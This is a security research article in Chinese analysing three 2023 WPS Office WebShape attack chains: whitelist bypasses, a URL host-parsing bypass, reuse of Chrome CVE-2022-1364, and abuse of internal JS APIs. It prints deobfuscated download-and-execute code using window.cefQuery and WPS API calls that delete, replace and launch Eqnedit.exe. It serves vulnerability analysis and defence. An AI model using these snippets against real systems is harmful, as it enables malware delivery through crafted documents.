作者:Sou1rain@知道創宇404實驗室
時間:2023年10月20日
前言
8 月 9 日的時候 WPS 官方發布了一條代碼執行漏洞的安全通告, 另外根據收到的樣本和各類通告,發現在今年的攻防演練期間先后三次發生了不同的針對 WPS 利用鏈的代碼執行攻擊。通過我們的研究分析發現該系列的漏洞都因為在 docx 文檔中插入了一個瀏覽器對象 WebShape,由于 WPS 使用了 Chrome 嵌入式框架(CEF),該對象可以直接調用 Chrome 渲染 Html 網頁,這三次都是因為 WPS WebShape 漏洞造成的攻擊事件,分別為:
- 通過 WPS WebShape 白名單之一的匹配項訪問網頁,利用 Chrome 嵌入式框架(CEF)的渲染進程和瀏覽進程通信的接口和 brower 進程通信API實現文件下載和執行。
- 通過 WPS WebShape 白名單之一的匹配項訪問網頁(繞過方式跟上面提到第一次是相同),利用 Chrome 內核歷史漏洞實現命令執行。
- 通過 url
@繞過再次利用 WPS WebShape 白名單之一訪問網頁,利用 WPS 自帶的 JS API 中的功能實現特定路徑文件的刪除、下載和運行。
本文就是針對這些三次漏洞關鍵點進行詳細分析。
本機實驗環境
Windows 10 專業版 22H2
為了后續分析調試方便,手動在 WPS Office\version\office6\cfgs\oem.ini 文件里添加以下內容后,即可通過 Alt + F12 鍵打開JS的調試窗口。
[support]
JsApiPlugin=true
JsApiShowWebDebugger=true
另外在較舊版本的 WPS 上,在斷網情況下訪問某些頁面會顯示 url 和錯誤提示,這時按 F12 也會出現調試窗口,且在wpsweb://error 域下。
事件 1 分析
通過捕獲的樣本發現,攻擊者通過白名單匹配項訪問域名 https://[xxx]wps.cn/exp.html,利用 CEF API window.cefQuery 和 brower 進程通信實現文件下載和執行。
白名單利用
分析版本
WPS 11.1.0.12313
該漏洞觸發點在 kso.dll 的 KxWebExtensionView::delayShow 函數中。
在多次調試中,發現 KxWebExtensionView::delayShow 只要調用了 KxWebExtensionView::delayShowWebView(this) 函數便能無任何提示成功創建訪問鏈接,實現 0click,因此能執行該函數的通路將是重點分析對象。
KxWebExtensionView::delayShow 函數開頭調用函數獲取 docx\word\webExtensions\webExtension1.xml 中的 wpswe:extSource id="EXTSOURCE"。
然后調用了 GetUrl 去獲取 QSting 對象然后作長度判斷。

分析一下 GetUrl 調用過程。
首先調用 kso_qt::QCoreApplication::instance 獲取當前應用程序實例指針,然后將指針作為參數傳入 KxApplication::GetWebExtensionMgr 獲取 WebExtensionMgr,再作為參數傳入 GetUrl。
分析一下 KxApplication::GetWebExtensionMgr 函數如何構造 WebExtensionMgr。

可見 WebExtensionMgr 是一個指向八字節空間的指針,進一步分析 KxWebExtensionMgr::KxWebExtensionMgr 函數。
KxWebExtensionMgr::KxWebExtensionMgr 函數先拼接路徑打開 kwebextensionlist.cfg 文件并驗證數字簽名,然后對 WebExtensionMgr 第一個四字節進行賦值。

上述過程調用 kso_qt::QSettings::QSettings(QSetting_Object_cfg, cfg_path_QString, 1, 0) 將 cfg 文件以 INI 文件格式儲存到 QSetting_Object_cfg,再將 QSetting_Object_cfg 前四個字節賦值為 QSettings 類的虛函數表指針,把 WebExtensionMgr 前四個字節賦值為 QSetting_Qbject_cfg 的地址。
在 cfg 文件同目錄下有一個 config.ini 文件,接下來同樣拼接路徑打開文件驗證數字簽名,對 WebExtensionMgr 后四個字節進行賦值。

上述過程從 ini 文件中提取鍵名為 trustedDomains 的值,并用 | 分割,把分割結果地址賦值給 WebExtensionMgr 后四字節。
自此 WebExtensionMgr 結構已知曉,這個結構體對之后的分析大有幫助。
struct WebExtensionMgr{
QSettings cfg
QListData ini_trustedDomains
};
接著分析 GetUrl 做了些什么。首先調用了 GetRegUrl 函數。

GetRegUrl 會在注冊表 HKEY_CURRENT_USER\Software\kingsoft\Office\6.0\plugins\webshape\EXTSOURCE 下尋找 debug 鍵,如果沒有就返回。

如果找到 debug 鍵,便獲取 debug 的值,不為 0 后再取 url 鍵值作返回值。

GetRegUrl 返回后長度判斷如果為 0,便調用 GetStringValueFromCfg 函數。在 GetStringValueFromCfg 中,先利用 WebExtensionMgr 獲取 cfg 的 QSettings 實例,然后在參數指定的節下尋找指定的鍵,獲取鍵值并返回。

如果 GetUrl 成功獲取到了 Url 通過了 QString 長度判斷,便會調用 KxWebExtensionView::delayShowWebView(this) 放行通過。
未能獲取到 Url 后,先調用函數獲取 PoC_docx 中要訪問的 Url,創建QUrl,獲取 host 后按照 GetUrl 函數調用順序去調用 GetTrustedHosts。

在 GetTrustedHosts 中首先調用了 GetStringValueFromCfg 函數獲取配置項。根據上面對 GetStringValueFromCfg 的分析可知此處會在 cfg 中尋找 EXTSOURCE 下面的 trustedHosts 鍵,并獲取鍵值。

接著將 trustedHosts 鍵值用 | 分割,利用分割出來的元素進行哈希和其他運算,儲存進 QHashData 節點,然后 return QHashData**。

調用完 GetTrustedHosts 后,對 host 進行長度判斷,通過就利用 GetTrustedHosts 返回的 QHashData 對 host 進行核算,核算通過便放行調用 KxWebExtensionView::delayShowWebView(this)。

如果未能通過核算,調用 IsTrustDomain 進行字符串匹配,通過匹配放行調用 KxWebExtensionView::delayShowWebView(this)。

未通過就設置按鈕讓用戶選擇是否信任。

在函數 IsTrustDomain 中,利用 WebExtensionMgr 提取 ini_trustedDomains 字符串,判斷 host 是否以 ini_trustedDomains 中的字符串結尾。

通過調試和 config.ini 文件,發現只要域名滿足以 wps.cn 或者 wpscdn.cn 結尾即可放行通過。
白名單總結
根據以上分析可知有三種方式可以 0click 無提示訪問域名:
- 通過訪問注冊表
HKEY_CURRENT_USER\Software\kingsoft\Office\6.0\plugins\webshape\EXTSOURCE獲取debug鍵的鍵值,不為0即可訪問同路徑下的url鍵的鍵值。 - 通過
WPS Office\version\office6\addons\kwebextensionlist\kwebextensionlist.cfg文件中EXTSOURCE節下trustedHosts鍵的鍵值進行訪問。 - 以
WPS Office\version\office6\addons\kwebextensionlist\config.ini文件中trustedDomains鍵的鍵值結尾的域名,即以wps.cn或wpscdn.cn結尾的域名可實現直接訪問。
本事件中白名單利用便是利用 config.ini 中的可匹配項進行繞過。
白名單 url 末尾字符串匹配項版本測試
在過低的版本中,WPS 并未引入 WebShape,因此不會因為該組件產生任意網頁自動訪問。
在高于11.1.0.12313 的版本中,config.ini 中 trustedDomains 的匹配項均以被刪除。
| WPS 版本號 | trustedDomains 匹配項 | 該版本安裝包簽名時間 |
|---|---|---|
| 11.1.0.11365 | 未刪除 | 2022年3月1日 |
| 11.1.0.12300 | 未刪除 | 2022年8月2日 |
| 11.1.0.12313 | 未刪除 | 2022年8月15日 |
| 11.1.0.13703 | 已刪除 | 2023年3月1日 |
| 11.1.0.14309 | 已刪除 | 2023年4月27日 |
| 12.1.0.15120 | 已刪除 | 2023年7月13日 |
| 12.1.0.15324 | 已刪除 | 2023年8月9日 |
| 12.1.0.15374 | 已刪除 | 2023年8月28日 |

在最新版的 WPS 12.1.0.15374 中,負責處理白名單的 KxWebExtensionView::delayShow 函數已被棄用,未刪除也未調用,新增了一個 KxWebExtensionOsrNotify::show 函數用以替代,新函數和舊函數的整體邏輯并無改變。同時 KxWebExtensionOsrNotify::showWebView 替代了 KxWebExtensionView::delayShowWebView,函數 GetUrl 內刪除了對 GetRegUrl 的調用,現在無法通過注冊表訪問特定域名。
WPS Query 利用
將捕獲樣本中的代碼解混淆后,下載任意文件的代碼如下所示:
function ExecClientApi(param) {
window.cefQuery({
'request': 'jsAsynCall("' + param + '")'
});
};
function download() {
ExecClientApi(JSON.stringify({
'method': 'common.util.download',
'params': {
'url': url_exe,
'path': path_exe,
'directGet': 1
}
}));
}
window.cefQuery 是 Chrome 嵌入式框架(CEF)的渲染進程和瀏覽進程通信的接口。根據代碼判斷,渲染進程發送JS代碼調用相關的代碼,實現了任意文件下載。
由于僅在2022年3月安裝包的調試模式下復現成功,這里簡述該樣本的利用思路。
首先使用 common.util.download 下載惡意文件,下載過程中未下載完成時文件名會被加上后綴 kdtmp,在下載完成后會將該后綴去除。
使用 setInterval() 定時調用 common.util.isFileExist,通過設置的 callback 函數判斷下載的文件是否存在,也就是文件是否下載完成。
{
'method': 'common.util.isFileExist',
'params': {
'path': 'filepath'
},
'callback': 'window.js_callback_function'
}
如果文件下載完成,通過調用 common.util.openUrl 實現下載程序的運行。
{
'method': 'common.util.openUrl',
'params':{
'url': 'C:/windows/system32/calc.exe'
}
}
對于樣本中下載多個文件實現白+黑利用等其他細節,就不多贅述了。
WPS Query 利用版本測試
經過測試,該利用方式的復現情況如下:
| WPS 版本 | 該版本安裝包簽名時間 | 是否復現 | JS調試窗口是否觸發 |
|---|---|---|---|
| 11.1.0.11365 | 2022年3月1日 | 否 | http:// 下無法觸發,wpsweb://error特權域下可以觸發 |
| 11.1.0.12313 | 2022年8月15日 | 否 | 否 |
| 11.1.0.15374 | 2023年8月28日 | 否 | 否 |
綜合判斷 WPS Query 利用可能是 WPS 歷史上出現的某個利用鏈,大概率已經被官方修復或在更新過程中接口出現變化導致利用失效。
事件 2 分析
該事件來自于 WPS 官方通告事件。
由于 WPS 使用了 Chrome 嵌入式框架(CEF),且以 --no-sandbox 啟動了渲染進程,所以 Chrome 的歷史漏洞可以在繞過白名單后重新發揮威力。
白名單利用
本次事件利用同事件 1 中所用的以 wps.cn 結尾的 url 訪問域名,再通過 Chrome 內核歷史漏洞實現命令執行。
Chrome 內核歷史漏洞利用
根據訪問網頁 1.html 的 PoC 核心段代碼和 Chrome 漏洞的限定進行查找,可以匹配上該 Chrome 歷史漏洞為 CVE-2022-1364。

關于 Chrome V8 引擎的漏洞利用可以看看 Hcamael 師傅的 V8 通用利用鏈文章。
CVE-2022-1364 版本測試
| WPS 版本號 | 是否復現 | 該版本安裝包簽名時間 |
|---|---|---|
| 11.1.0.11365 | 否 | 2022年3月1日 |
| 11.1.0.12300 | 是 | 2022年8月2日 |
| 11.1.0.12313 | 是 | 2022年8月15日 |
| 11.1.0.13703 | 是 | 2023年3月1日 |
| 11.1.0.14309 | 否 | 2023年4月27日 |
| 12.1.0.15120 | 否 | 2023年7月13日 |
| 12.1.0.15324 | 否 | 2023年8月9日 |
| 12.1.0.15374 | 否 | 2023年8月28日 |
11.1.0.11365 版本使用的 libcef 為 jcef,因此復現未成功,在 11.1.0.13703 版本以后該漏洞都被修復。
事件 3 分析
在該事件中利用了一個 url 繞過,該繞過可被攻擊者結合利用白名單中 config.ini 文件的 url 末尾字符串匹配項進行任意域名自動訪問。
當 config.ini 文件的匹配項被刪除后,還可以利用 url 繞過結合 kwebextensionlist.cfg 文件 EXTSOURCE 節下 trustedHosts 鍵的鍵值,達到任意網頁自動訪問的攻擊效果。
訪問頁面后再利用 WPS 自帶的 JS API 中的功能實現特定路徑文件的刪除、下載和運行。
url 繞過
在 KxWebExtensionView::delayShow 中,進行域名判斷的時候,利用的是函數 QUrl::host 提取 host,然后進行判斷。但是在特殊構造的 url 下,會提取出和瀏覽器解析結果不同的 host。

因此 WPS 在處理訪問控制的時候使用的是偽造的 host 進行判斷,從而導致 url 繞過。
url 繞過版本測試
| WPS 版本號 | 能否繞過 | 該版本安裝包簽名時間 |
|---|---|---|
| 11.1.0.11365 | 能 | 2022年3月1日 |
| 11.1.0.12300 | 能 | 2022年8月2日 |
| 11.1.0.12313 | 能 | 2022年8月15日 |
| 11.1.0.13703 | 能 | 2023年3月1日 |
| 11.1.0.14309 | 能 | 2023年4月27日 |
| 12.1.0.15120 | 能 | 2023年7月13日 |
| 12.1.0.15324 | 能 | 2023年8月9日 |
| 12.1.0.15374 | 否 | 2023年8月28日 |
在 12.1.0.15374 版本該 url 繞過已被修復,在該版本的訪問控制函數 KxWebExtensionOsrNotify::show 中,選擇添加一個 QUrl::isValid 函數判斷 url 是否合規。

WPS JS API 利用
根據網上信息的截圖和介紹可以知道,攻擊者利用 wps.Office.UploadFileToServer API刪除了本地的公式編輯器 Eqnedit.exe ,再使用 window.wps.Office.DownloadFileFromServer API下載了惡意樣本并保存為公式編輯器,最后通過某些API觸發了公式編輯器的調用。
經過對 jswpsapi.dll 的逆向,wps.Office.UploadFileToServer 在上傳文件結束后,會獲取第三個參數中 bDelLocalFile 的值,如果為true,則會刪除原文件。
wps.Office.UploadFileToServer("http://127.0.0.1/",filepath,"{\"bDelLocalFile\":true}")
wps.Office.UploadFileToServer 可以下載文件,但無法覆蓋已存在文件。這也是前面刪除文件的意義。
window.wps.Office.DownloadFileFromServer("http://127.0.0.1/download.exe", filepath);
由于 WPS 的 JS API實現的功能和 VBA 的類似,所以在未找到 WPS API相關文檔的情況下,參照 OLEFormat.Edit method文檔最終構造出觸發 OLE公式編輯的請求:
# 需要文檔開頭包含一個 OLE 格式的公式,如果不在開頭,則需要修改 Item 的值
wps.ActiveDocument.InlineShapes.Item(1).OLEFormat.Edit()
在 11.1.0.12313 的復現截圖如下:

WPS JS API 利用版本測試
| WPS 版本號 | 是否復現 | 該版本安裝包簽名時間 |
|---|---|---|
| 11.1.0.11365 | 能 | 2022年3月1日 |
| 11.1.0.12300 | 能 | 2022年8月2日 |
| 11.1.0.12313 | 能 | 2022年8月15日 |
| 11.1.0.13703 | 能 | 2023年3月1日 |
| 11.1.0.14309 | 能 | 2023年4月27日 |
| 12.1.0.15120 | 能 | 2023年7月13日 |
| 12.1.0.15324 | 能 | 2023年8月9日 |
| 12.1.0.15374 | 能 | 2023年8月28日 |
Q/A
樣本 docx 中出現的小圖片是什么
我們注意到公開以 WebShape 漏洞為人口點的攻擊樣本中,docx 文件都會有一個小圖片。

它到底是什么?以 GitHub 上公開的項目 ba0gu0/wps-rce 中對 PoC_docx 的構造可知該圖片來源于 PoC_docx\word\media\image.png。
通過修改 PoC_docx\word\_rels\document.xml.rels 文件和 PoC_docx\word\document.xml 文件把 image 圖片和 webExtension1.xml 文件綁定起來,構造成瀏覽器對象 WebShape,拉起 WPS web 組件,才有后續的任意網頁訪問。
并且復制這個小圖片到新的 docx 文檔,docx\word\_rels\document.xml.rels 文件和 docx\word\document.xml 文件會被自動修改,image 圖片和 webExtension1.xml 文件也會被拷貝到對應位置,所以在新的 docx 文檔也能實現攻擊行為。
通過代碼查詢該對象。

在 Chrome 歷史漏洞的攻擊事件中,同一 url 能無網絡鏈接重復復現成功
由于是 Chrome 的歷史漏洞,Chrome 作為瀏覽器對網頁有緩存,因此同一 url 能在初次復現成功后無需網絡鏈接重復復現。
緩存文件為 %APPDATA%\kingsoft\wps\addons\data\win-i386\cef\globalcache\wps\Cache 目錄下的 data_3 文件。
總結
最近幾年因為大型攻防演練的原因,更多的國產化流行軟件成為漏洞挖掘的主要目標,其中對于這種桌面應用程序調用瀏覽器來處理 URL 是主要的攻擊面之一,從今年 WPS 的這幾個漏洞基本都是圍繞 WPS WebShape 展開,通過上面的分析我們可以把相關的關鍵漏洞點總結如下模型:
1.處理 URL 不當
對 URL 的理解及 host 等關鍵點提取識別判斷標準不一致導致各種繞過,這個問題實際上普遍存在于各種對 URL 場景中,甚至還包括一些語言函數提取的標準不一致導致的安全問題等等。
2.內部 API 暴露調用
這也屬于應用程序調用瀏覽器內核的經典漏洞模型,在 2013 年的 KCon 黑哥的議題《去年跨過的瀏覽器》介紹了很多國產瀏覽器上 API 的問題,當然這類漏洞在后面移動及各種桌面應用都存在這類經典問題,這類問題核心在于 API 的調用權限取決于 “特權域”(“信任域”),比如在這次 WPS 中其實上面 “URL” 的處理實際上就在控制這點。在其他經典案例里實際上就算完美處理 URL 里域判斷問題,也還是有可能導致安全問題的,比如攻擊者可以通過尋找信任域網站下面的 XSS 等實現調用這些 API 達到攻擊的目的。
3.外部第三方供應鏈漏洞
現在大部分的應用程序處理網頁習慣的應用都不是調用默認的系統瀏覽器,而是直接打包一個第三方閹割版的瀏覽器內核,所以這個就產生了非常經典的第三方供應鏈漏洞,比如本文第二次 WPS 就是直接復用了 Chrome 歷史漏洞 CVE-2022-1364,這種問題在往年的大型演練里也出現過比如微信、釘釘等,在 2022 年 KCon 上 avboy1337 的議題《ChromePatchGap在億級用戶量IM中的漏洞利用》就提到了很多的案例。
參考鏈接
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/3055/
暫無評論